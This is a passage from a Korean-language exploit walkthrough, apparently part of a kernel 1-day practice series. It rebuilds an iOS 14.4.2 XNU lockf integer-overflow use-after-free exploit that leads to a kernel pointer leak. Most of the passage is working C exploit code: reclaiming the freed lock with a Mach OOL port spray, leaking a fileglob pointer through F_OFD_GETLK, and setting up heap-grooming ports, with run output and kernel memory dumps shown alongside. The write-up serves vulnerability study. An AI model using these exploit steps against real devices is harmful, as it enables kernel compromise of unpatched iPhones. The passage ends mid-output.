printf(&quot;[STAGE1.2] v_lockf(B)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n    } else {\n        printf(&quot;[STAGE1.2] v_lockf(B) should be exists!\\n&quot;); while(1) {};\n    }\n    printf(&quot;======================== \\n&quot;);\n#endif\n\n\tif (ofd_set_lock(urandom_fd, F_RDLCK, (off_t)15, (off_t)10) &lt; 0) {\n        return -1;\n    }\n#if ENABLE_HELPER \n    urandom_v_lockf = tfp0_kread64(urandom_vnode + off_vnode_v_lockf);\n    printf(&quot;[STAGE1.3] v_lockf(A) = 0x%llX\\n&quot;, urandom_v_lockf);\n    lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n    lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n    printf(&quot;[STAGE1.3] v_lockf(A)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n    lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n    lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n    printf(&quot;[STAGE1.3] v_lockf(A)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n\n    if(lf_next) {\n        urandom_v_lockf = lf_next;\n        printf(&quot;[STAGE1.3] v_lockf(DANGLING C) = 0x%llX\\n&quot;, urandom_v_lockf);\n        printf(&quot;[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!\\n&quot;);\n        const int sizeof_lockf = 0x60;\n        tfp0_khexdump(urandom_v_lockf, sizeof_lockf);\n        \/\/ lf_start = tfp0_kread64(urandom_v_lockf + off_lockf_lf_start);\n        \/\/ lf_end = tfp0_kread64(urandom_v_lockf + off_lockf_lf_end);\n        \/\/ printf(&quot;[STAGE1.3] v_lockf(DANGLING C)-&gt;lf_start = %lld, lf_end = %lld\\n&quot;, lf_start, lf_end);\n        \/\/ lf_head = tfp0_kread64(urandom_v_lockf + off_lockf_lf_head);\n        \/\/ lf_next = tfp0_kread64(urandom_v_lockf + off_lockf_lf_next);\n        \/\/ printf(&quot;[STAGE1.3] v_lockf(DANGLING C)-&gt;lf_head = 0x%llX, lf_next = 0x%llX\\n&quot;, lf_head, lf_next);\n    } else {\n        printf(&quot;[STAGE1.3] v_lockf(DANGLING C) should be exists!\\n&quot;); while(1) {};\n    }\n    printf(&quot;======================== \\n&quot;);\n#endif\n...\n}\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>lock list \uc911 (B)\uac00 INT64_MAX\uc600\ub358 end\uac12\uc774 \uc624\ubc84\ud50c\ub85c\uc6b0 \ucde8\uc57d\uc810\uc5d0 \uc758\ud574 INT64_MIN\uc73c\ub85c \ubc14\ub00c\uc5c8\uc73c\uba70,<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, A\uc758 lf_next \ud3ec\uc778\ud130\ub97c \uac00\ub9ac\ud0a4\ub294 \u00a9\ub294 \ud560\ub2f9\uc774 \ud574\uc81c\ub418\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">iPhone-8--1442:~ root# pendulum\n[i] offsets selected for iOS 14.4.2\ntfp0: 0xe03\ntfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff01c0a0000, tfp0_kslide: 0x1509c000\n[i] opened urandom fd: 6\n[STAGE1] urandom_vnode = 0xFFFFFFE19D69B450\n[STAGE1] v_lockf(A) = 0xFFFFFFE4CDEDA040\n[STAGE1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0\n========================\n[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDEDA040\n[STAGE1.1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDEBFBA0\n[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDEBFBA0\n[STAGE1.1] v_lockf(B)-&gt;lf_start = 9223372036854775807, lf_end = -1\n[STAGE1.1] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0\n========================\n[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDEDA040\n[STAGE1.2] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.2] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDEBFBA0\n[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDEBFBA0\n[STAGE1.2] v_lockf(B)-&gt;lf_start = -9223372036854775808, lf_end = -1\n[STAGE1.2] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0x0\n========================\n[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDEDA040\n[STAGE1.3] v_lockf(A)-&gt;lf_start = 10, lf_end = 14\n[STAGE1.3] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D69B518, lf_next = 0xFFFFFFE4CDED8D20\n[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDED8D20\n[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!\n[0xffffffe4cded8d20+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cded8d20+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cded8d20+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cded8d20+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cded8d20+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cded8d20+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n========================\n<\/code><\/pre>\n<h3>2. fileglob \uc8fc\uc18c\uac12 \uc720\ucd9c<\/h3>\n<p>\ub2e4\uc74c\uc73c\ub85c, C\uacf5\uac04\uc744 \uc7ac\uc810\uc720\ud558\uae30 \uc704\ud574 Mach OOL ports descriptor\uc5d0 12\uac1c\uc758 \ud3ec\ud2b8\ub97c \ub123\uc5b4 \uc810\uc720\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<p>fileport\ub97c \ub123\ub294\ub370, \uc774\uc911\uc5d0 <code>ports[2]<\/code>\ub9cc \uc608\uc678\ub85c -1\uc778 <code>MACH_PORT_DEAD<\/code> \uac12\uc744 \ub123\ub294\ub2e4.<\/p>\n<pre><code class=\"language-c\"> \/\/ 00000000000072E4\nkern_return_t spray_default_kalloc_ool_ports_with_dead(mach_port_t where, mach_port_t target_port) {\n    const int port_cnt = 12;\n    mach_port_t* ports = malloc(sizeof(mach_port_t) * port_cnt);\n    for (int i = 0; i &lt; port_cnt; i++) {\n        ports[i] = target_port;\n    }\n    ports[2] = MACH_PORT_DEAD;\n\n    struct default_msg* message = (struct default_msg*)calloc(1, sizeof(struct default_msg));\n    message-&gt;header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    message-&gt;header.msgh_size = sizeof(struct default_msg);\n    message-&gt;header.msgh_remote_port = where;\n    message-&gt;body.msgh_descriptor_count = 1;\n    message-&gt;descriptor.address = ports;\n    message-&gt;descriptor.deallocate = false;\n    message-&gt;descriptor.copy = MACH_MSG_PHYSICAL_COPY;\n    message-&gt;descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;\n    message-&gt;descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    message-&gt;descriptor.count = port_cnt;\n\n    kern_return_t kr = mach_msg(\n      &amp;message-&gt;header,\n      MACH_SEND_MSG | MACH_SEND_INTERRUPT | MACH_SEND_NOIMPORTANCE,\n      message-&gt;header.msgh_size,\n      0,\n      MACH_PORT_NULL,\n      MACH_MSG_TIMEOUT_NONE,\n      MACH_PORT_NULL);\n\n    free(message);\n    free(ports);\n\n    if (kr) {\n        printf(&quot;[-] Failed to send OOL message: 0x%x (%s)\\n&quot;, kr, mach_error_string(kr));\n        return KERN_FAILURE;\n    }\n    return KERN_SUCCESS;\n}\n \n\nint main(void)\n{\n...\n    \/\/ create urandom file port\n    mach_port_name_t fileport_name = MACH_PORT_NULL;\n    fileport_makeport(urandom_fd, &amp;fileport_name);\n... \n    \/\/ Reoccupy with an array of 12 Mach OOL ports\n    \/\/ userspace names: 12 * sizeof(mach_port_name_t) = 0x30\n    \/\/ XNU objects:     12 * sizeof(ipc_object_t)      = 0x60\n    \/\/ fake struct lockf\n\n    \/\/ (lldb) p\/x offsetof(lockf, lf_end)\n    \/\/ (unsigned long) 0x0000000000000010\n\n    \/*\n    +0x08 lf_start = target ipc_port *\n    +0x10 lf_end   = -1\n    +0x18 lf_id    = target ipc_port *\n    ...\n    +0x58 lf_owner = target ipc_port *\n    *\/\n    spray_default_kalloc_ool_ports_with_dead(reply_port, fileport_name);\n...\n}\n<\/code><\/pre>\n<p><code>lockf<\/code> \uad6c\uc870\uccb4 \ud06c\uae30\ub294 0x60\uc774\uace0 KHEAP_DEFAULT \ud0c0\uc785\uc774\uae30 \ub54c\ubb38\uc5d0, <code>default.kalloc.96<\/code> \uc874\uc5d0 \uc18d\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-28_at_11.41.16_AM.png\" alt=\"Screenshot 2026-07-28 at 11.41.16\u202fAM.png\"><\/p>\n<p>\uc720\uc800\ub79c\ub4dc\uc758 <code>spray_default_kalloc_ool_ports_with_dead<\/code> \ud568\uc218\ub85c \uc778\ud574 \ucee4\ub110\uc5d0\uc11c \ucd94\uc801\uc744 \ud574\ubcf8\ub2e4\uba74,<\/p>\n<p><code>mach_msg_overwrite_trap<\/code>\n\u2192 <code>ipc_kmsg_copyin<\/code>\n\u2192 <code>ipc_kmsg_copyin_body<\/code>\n\u2192 <code>ipc_kmsg_copyin_ool_ports_descriptor<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-28_11.48.23.excalidraw-fs8.png\" alt=\"Drawing 2026-07-28 11.48.23.excalidraw-fs8.png\"><\/p>\n<p><code>ipc_kmsg_copyin_ool_ports_descriptor<\/code> \uc5d0\uc11c <code>data = kalloc(ports_length);<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 96\ubc14\uc774\ud2b8\ub9cc\ud07c descriptor \ubc30\uc5f4\uc774 \ud560\ub2f9\ub41c\ub2e4.<\/p>\n<p>\uc774\ub7ec\ud55c \uc774\uc720\ub294 mach_port_t \ud06c\uae30\uac00 8\ubc14\uc774\ud2b8\uc774\uba70, 12\uac1c\uc758 \ud3ec\ud2b8\ub97c \ub123\uc5c8\uae30 \ub54c\ubb38\uc5d0  12*8=96\uc774 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">if (os_mul_overflow(count, sizeof(mach_port_t), &amp;ports_length)) {\n\t\t*mr = MACH_SEND_TOO_LARGE;\n\t\treturn NULL;\n\t}\n<\/code><\/pre>\n<p>descriptor \ubc30\uc5f4\uc740 <code>ipc_object_copyin<\/code>\uc5d0\uc11c \uc218\ud589\ub418\uba74\uc11c<\/p>\n<p><code>ipc_object_copyin<\/code> \u2192 <code>ipc_right_lookup_write<\/code> \u2192 <code>ipc_entry_lookup<\/code><\/p>\n<p>\uc989, \uc720\uc800\ub79c\ub4dc\uc758 fileport\uac00 \ucee4\ub110\uc758 <code>ipc_entry_lookup<\/code> \ud568\uc218\uc5d0 \uc758\ud574 \ucee4\ub110\uc758 ipc port* \ud0c0\uc785\uc758 \uc8fc\uc18c\ub85c \ubcc0\ud658\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-28_at_10.40.58_PM.png\" alt=\"Screenshot 2026-07-28 at 10.40.58\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-28_at_10.43.37_PM.png\" alt=\"Screenshot 2026-07-28 at 10.43.37\u202fPM.png\"><\/p>\n<p>\uc2e4\uc81c\ub85c \uc624\ub978\ucabd \ud654\uba74 \ucc3d\uc758 \ucee4\ub110 \ub364\ud504 \ub0b4\uc6a9\uc744 \ud655\uc778\ud574\ubcf4\uba74, locklist \uc911 C\uc5d0\ub294 descriptor \ubc30\uc5f4 \ub370\uc774\ud130\uac00 \ucc28\uc9c0\ub418\uc788\ub2e4.\n\ud558\ub098(MACH_PORT_DEAD)\ub97c \uc81c\uc678\ud55c \ubaa8\ub4e0 \uac12\ub4e4\uc774 0xffffffe19c400690, \uc989 fileport\uc758 ipc \ud3ec\uc778\ud130 \ucee4\ub110 \uc8fc\uc18c\ub4e4\ub85c \uc774\ub8e8\uc5b4\uc838\uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-28_at_10.59.09_PM.png\" alt=\"Screenshot 2026-07-28 at 10.59.09\u202fPM.png\"><\/p>\n<p>\uc870\uae08 \ub354 \uc774\uc804 \ub2e8\uacc4\uc778, \uc720\uc800\ub79c\ub4dc\uc758 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 fd\uac00 fileport\ub85c \ubcc0\ud658\uc2dc\ud0a4\ub294 <code>fileport_makeport<\/code> \ub97c \uc7a0\uc2dc \uc0b4\ud3b4\ubcf4\uc790\uba74,<\/p>\n<pre><code class=\"language-c\">mach_port_name_t fileport_name = MACH_PORT_NULL;\nfileport_makeport(urandom_fd, &amp;fileport_name);\n<\/code><\/pre>\n<p><code>sys_fileport_makeport<\/code><br>\n\u2192 <code>fileport_alloc<\/code><br>\n\u2192  <code>ipc_kobject_alloc_port<\/code><br>\n\u2192 <code>ipc_kobject_init_port<\/code>\n\u2192 <code>ipc_kobject_set_atomically<\/code> \uc5d0\uc11c ipc port\ub85c \ubcc0\ud658\ud558\ub294 \uacfc\uc815 \uc911 kobject(+0x68 \uc624\ud504\uc14b)\uc774 fileglob \ud3ec\uc778\ud130\ub85c \uc138\ud2b8\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x offsetof(ipc_port, kdata.kobject)\n(unsigned long) 0x0000000000000068\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ xnu-7195.50.7.100.1\/osfmk\/kern\/ipc_misc.c:52\n\nipc_port_t\nfileport_alloc(struct fileglob *fg)\n{\n\treturn ipc_kobject_alloc_port((ipc_kobject_t)fg, IKOT_FILEPORT,\n\t           IPC_KOBJECT_ALLOC_MAKE_SEND | IPC_KOBJECT_ALLOC_NSREQUEST);\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ xnu-7195.50.7.100.1\/osfmk\/kern\/ipc_kobject.c:740\nipc_port_t\nipc_kobject_alloc_port(\n\tipc_kobject_t           kobject,\n\tipc_kobject_type_t      type,\n\tipc_kobject_alloc_options_t     options)\n{\n\tipc_port_t port = ipc_port_alloc_kernel();\n\n\tif (port == IP_NULL) {\n\t\tpanic(&quot;ipc_kobject_alloc_port(): failed to allocate port&quot;);\n\t}\n\n\tipc_kobject_init_port(port, kobject, type, options);\n\treturn port;\n}\n\n\/\/ xnu-7195.50.7.100.1\/osfmk\/kern\/ipc_kobject.c:705\nstatic inline void\nipc_kobject_init_port(\n\tipc_port_t port,\n\tipc_kobject_t kobject,\n\tipc_kobject_type_t type,\n\tipc_kobject_alloc_options_t options)\n{\n\tipc_kobject_set_atomically(port, kobject, type);\n\t...\n}\n\n\/\/ xnu-7195.50.7.100.1\/osfmk\/kern\/ipc_kobject.c:676\nvoid\nipc_kobject_set_atomically(\n\tipc_port_t                      port,\n\tipc_kobject_t           kobject,\n\tipc_kobject_type_t      type)\n{\n\tassert(type == IKOT_NONE || ip_active(port));\n#if     MACH_ASSERT\n\tport-&gt;ip_spares[2] = (port-&gt;ip_object.io_bits &amp; IO_BITS_KOTYPE);\n#endif  \/* MACH_ASSERT *\/\n\tport-&gt;ip_object.io_bits = (port-&gt;ip_object.io_bits &amp; ~IO_BITS_KOTYPE) | type;\n\tif (ip_is_kolabeled(port)) {\n\t\tipc_kobject_label_t labelp = port-&gt;ip_kolabel;\n\t\tlabelp-&gt;ikol_kobject = kobject;\n\t} else {\n\t\tport-&gt;ip_kobject = kobject;\n\t}\n\tif (type != IKOT_NONE) {\n\t\t\/* Once set, this bit can never be unset *\/\n\t\tport-&gt;ip_object.io_bits |= IO_BITS_KOBJECT;\n\t}\n}\n<\/code><\/pre>\n<p>fileglob \ud3ec\uc778\ud130\ub97c leak\uc2dc\ud0a4\uae30 \uc704\ud574 \ubc29\uae08\uc804 96\ubc14\uc774\ud2b8 \ud560\ub2f9\ub41c OOL \ubc30\uc5f4\uc740 fake <code>lockf<\/code>\uac00 \ub418\uc5c8\ub2e4. <code>ofd_get_lock<\/code>\ub97c \uc218\ud589\ud55c\ub2e4\uba74 OOL \ubc30\uc5f4\uc744 \uc5ec\uc804\ud788 <code>struct lockf<\/code>\ub85c \ubbff\uace0 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">int ofd_get_lock(int fd, off_t start, off_t length, struct flock *lock_request)\n{    \n    *lock_request = (struct flock) {\n        .l_start = start,\n        .l_len = length,\n        .l_pid = 0,\n        .l_type = F_WRLCK,\n        .l_whence = SEEK_SET,\n    };\n\n    return fcntl(fd, F_OFD_GETLK, lock_request);\n}\n\nint main(void) {\n\n\/*\n    +0x08 lf_start = target ipc_port *\n    +0x10 lf_end   = -1\n    +0x18 lf_id    = target ipc_port *\n    ...\n    +0x58 lf_owner = target ipc_port *\n    *\/\n\/\/ ...\n    \/\/ 000000000000527C\n    \/\/ Recover the file_glob kptr by leaking two values (fl.l_start, fl.l_pid) using F_OFD_GETLK\n    \/\/ fl.l_start = fileport ipc_port *\n    \/\/ fl.l_pid = proc_pid((proc *)fileport_ipc_port)\n    \/\/          = low32(fileport_ipc_port-&gt;ip_kobject)\n    \/\/          = low32(\/dev\/urandom fileglob *)\n    struct flock* fl = calloc(1, sizeof(struct flock));\n    ofd_get_lock(urandom_fd, 0, 0, fl);\n    uint64_t fileglob_kptr = (fl-&gt;l_start &amp; 0xFFFFFFFF00000000) | (fl-&gt;l_pid &amp; 0xFFFFFFFF);\n    printf(&quot;[i] Leaked fileglob kptr = 0x%llX\\n&quot;, fileglob_kptr);\n\/\/ ...\n}\n<\/code><\/pre>\n<p><code>ofd_get_lock<\/code> \ub97c \uc218\ud589\ud588\uc744\ub54c, <code>sys_fcntl_nocancel<\/code>\uc5d0\uc11c <code>struct flock<\/code>\uc744 \uba3c\uc800 copyin\ud558\uace0, <code>lf_advlock<\/code> \uc744 \ud638\ucd9c\ud558\uace0, <code>fl<\/code>\uc774 \uadf8\ub300\ub85c \uc0ac\uc6a9\uc790 \uacf5\uac04\uc73c\ub85c copyout\ub41c\ub2e4.<\/p>\n<p><code>lf_advlock<\/code> \uc5d0 \uc758\ud574  fileport\uc758 ipc \ud3ec\uc778\ud130 \uc8fc\uc18c\uac00 \ub2f4\uae34 <code>fl.l_start<\/code>\uc640 fileglob \ud558\uc704 32\ube44\ud2b8\uac00 \ub2f4\uae34  <code>fl.l_pid<\/code> , \uc774\ub807\uac8c 2\uac00\uc9c0\ub97c \ub204\ucd9c\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 2\uac00\uc9c0\ub97c \uc870\ud569\ud568\uc73c\ub85c\uc368 \uc628\uc804\ud55c fileglob \ud3ec\uc778\ud130\ub97c \ud68d\ub4dd\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-29_04.31.41.excalidraw-fs8.png\" alt=\"Drawing 2026-07-29 04.31.41.excalidraw-fs8.png\"><\/p>\n<h3>3. qlimit\uac00 0x400\uc778 ipc port\ub97c 32\uac1c \ud560\ub2f9<\/h3>\n<p>\uc2e4\ud328\ud55c <code>lockf<\/code> \uc8fc\uc18c \ud6c4\ubcf4\ub97c 0x60 \ud06c\uae30\uc758 OOL \ubc30\uc5f4\ub85c \ud558\ub098\uc529 \uace0\uc815\ud558\ub294 heap-grooming \uc7a5\uce58\ub97c \uc704\ud574 \uc791\uc131\ud574\ub454 \ucf54\ub4dc\ub85c \ubcf4\uc778\ub2e4. \uac01\uac01 <code>queued ipc_kmsg<\/code>, <code>kalloc.96<\/code> \uad00\ub828 OOL \ubc30\uc5f4\uc740 0\uac1c\uc774\uba70, \uc624\uc9c1 ipc port\ub9cc 32\uac1c \ud560\ub2f9\ub418\ub294\ub370, \uc2e4\uc81c \uc5ed\ud560\uc740 <code>prepare_socket_lockf_pair()<\/code>\uc5d0\uc11c \uc880 \ub354 \uc0b4\ud3b4\ubd10\uc57c \uc774\ud574\ud560 \uc218 \uc788\uc744\uac70 \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">kern_return_t create_minimal_thread_message_channel(struct minimal_thread_message_channel *channel)\n{\n    \/*\n     * This is only a reusable userspace template. No kernel 0x60 allocation\n     * exists until this complex message is actually sent.\n     *\/\n    channel-&gt;ool_template.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n    channel-&gt;ool_template.header.msgh_size = sizeof(struct default_msg);\n    channel-&gt;ool_template.header.msgh_id = 1;\n    channel-&gt;ool_template.body.msgh_descriptor_count = 1;\n    channel-&gt;ool_template.descriptor.address = channel-&gt;ool_port_names;\n    channel-&gt;ool_template.descriptor.deallocate = false;\n    channel-&gt;ool_template.descriptor.copy = MACH_MSG_PHYSICAL_COPY;\n    channel-&gt;ool_template.descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;\n    channel-&gt;ool_template.descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    channel-&gt;ool_template.descriptor.count = THREAD_CHANNEL_OOL_PORT_COUNT;\n\n    for (unsigned int i = 0; i &lt; THREAD_CHANNEL_PORT_COUNT; i++) {\n        mach_port_limits_t limits = {\n            .mpl_qlimit = THREAD_CHANNEL_QUEUE_LIMIT,\n        };\n\n        kern_return_t kr = mach_port_allocate(\n            mach_task_self(),\n            MACH_PORT_RIGHT_RECEIVE,\n            &amp;channel-&gt;receive_ports[i]);\n        if (kr != KERN_SUCCESS) {\n            destroy_minimal_thread_message_channel(channel);\n            return kr;\n        }\n\n        channel-&gt;receive_port_count++;\n\n        kr = mach_port_set_attributes(\n            mach_task_self(),\n            channel-&gt;receive_ports[i],\n            MACH_PORT_LIMITS_INFO,\n            (mach_port_info_t)&amp;limits,\n            MACH_PORT_LIMITS_INFO_COUNT);\n        if (kr != KERN_SUCCESS) {\n            destroy_minimal_thread_message_channel(channel);\n            return kr;\n        }\n    }\n\n    return KERN_SUCCESS;\n}\n\nint main(void) {\n\/\/...\n    \/\/ Minimal create_default_thread_channel(ctx, 0x60, 0x8000).\n    \/\/ This creates 32 receive ports with qlimit 0x400 and prepares one\n    \/\/ 12-entry OOL-port template. It sends no messages at this stage.\n    \/\/ The original descriptor-free 0x8000-message warm-up is intentionally\n    \/\/ omitted because this reconstruction only adds channel creation.\n    struct minimal_thread_message_channel thread_channel = {0};\n    kr = create_minimal_thread_message_channel(&amp;thread_channel);\n    if (kr != KERN_SUCCESS) {\n        printf(&quot;[-] failed to create thread-message channel: 0x%x (%s)\\n&quot;,\n            kr, mach_error_string(kr));\n        return -1;\n    }\n    printf(&quot;[i] thread-message channel: %u ports, qlimit=0x%x, capacity=0x8000\\n&quot;, thread_channel.receive_port_count, THREAD_CHANNEL_QUEUE_LIMIT);\n\n#if ENABLE_HELPER\n    printf(&quot;[STAGE3] %s:%d\\n&quot;, __FUNCTION__, __LINE__);\n    for (int i = 0; i &lt; thread_channel.receive_port_count; i++) {\n        uint32_t receive_port = thread_channel.receive_ports[i];\n        uint64_t port = tfp0_find_port(receive_port);\n        \/*\n        (lldb) p\/x offsetof(ipc_port, ip_messages.data.port.messages.ikmq_base)\n        (unsigned long) 0x0000000000000040\n        (lldb) p\/x offsetof(ipc_port, ip_messages.data.port.receiver_name)\n        (unsigned long) 0x000000000000004c\n        (lldb) p\/x offsetof(ipc_port, ip_messages.data.port.msgcount)\n        (unsigned long) 0x0000000000000050\n        (lldb) p\/x offsetof(ipc_port, data.receiver)\n        (unsigned long) 0x0000000000000060\n        *\/\n        uint64_t ikmq_base = tfp0_kread64(receive_port + 0x40);\n        uint32_t receiver_name = tfp0_kread64(receive_port + 0x4c);\n\n        uint32_t queue_info = tfp0_kread32(port + 0x50);\n        uint16_t msgcount = (uint16_t)(queue_info &amp; 0xffff);\n        uint16_t qlimit = (uint16_t)(queue_info &gt;&gt; 16);\n\n        uint32_t qcontext = tfp0_kread32(port + 0x54);\n        uint64_t receiver = tfp0_kread64(port + 0x60);\n        \/\/ printf(&quot;[STAGE3] i=%u port=0x%llX ikmq_base=0x%llX receiver_name=0x%llX msgcount=0x%llX receiver=0x%llX\\n&quot;, i, port, ikmq_base, receiver_name, msgcount, receiver);\n        printf(&quot;[STAGE3] i=%d name=0x%X port=0x%llX ikmq_base=0x%llX receiver_name=0x%X msgcount=%u qlimit=0x%X qcontext=0x%X receiver=0x%llX\\n&quot;,\n                i, receive_port, port, ikmq_base, receiver_name, msgcount, qlimit, qcontext, receiver);\n    }\n    getchar();\n#endif\n\/\/...\n}\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc:<\/p>\n<pre><code class=\"language-c\">[i] offsets selected for iOS 14.4.2\ntfp0: 0xf03\ntfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff01ba50000, tfp0_kslide: 0x14a4c000\n[i] opened urandom fd: 6\n[STAGE1] urandom_vnode = 0xFFFFFFE19D3D5930, urandom_fileglob = 0xFFFFFFE19FFF5920\n[STAGE1] v_lockf(A) = 0xFFFFFFE4CDEBF5A0\n[STAGE1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0\n======================== \n[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDEBF5A0\n[STAGE1.1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE788A0\n[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDE788A0\n[STAGE1.1] v_lockf(B)-&gt;lf_start = 9223372036854775807, lf_end = -1\n[STAGE1.1] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0\n======================== \n[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDEBF5A0\n[STAGE1.2] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.2] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE788A0\n[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDE788A0\n[STAGE1.2] v_lockf(B)-&gt;lf_start = -9223372036854775808, lf_end = -1\n[STAGE1.2] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0x0\n======================== \n[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDEBF5A0\n[STAGE1.3] v_lockf(A)-&gt;lf_start = 10, lf_end = 14\n[STAGE1.3] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19D3D59F8, lf_next = 0xFFFFFFE4CDE8C960\n[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDE8C960\n[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!\n[0xffffffe4cde8c960+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0xffffffe4cde8c960+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0xffffffe4cde8c960+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0xffffffe4cde8c960+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0xffffffe4cde8c960+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n[0xffffffe4cde8c960+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................ \n======================== \n[STAGE2] Reoccupied with OOL ports allocation kaddr (KHEAP_DEFAULT\/kalloc.96) = 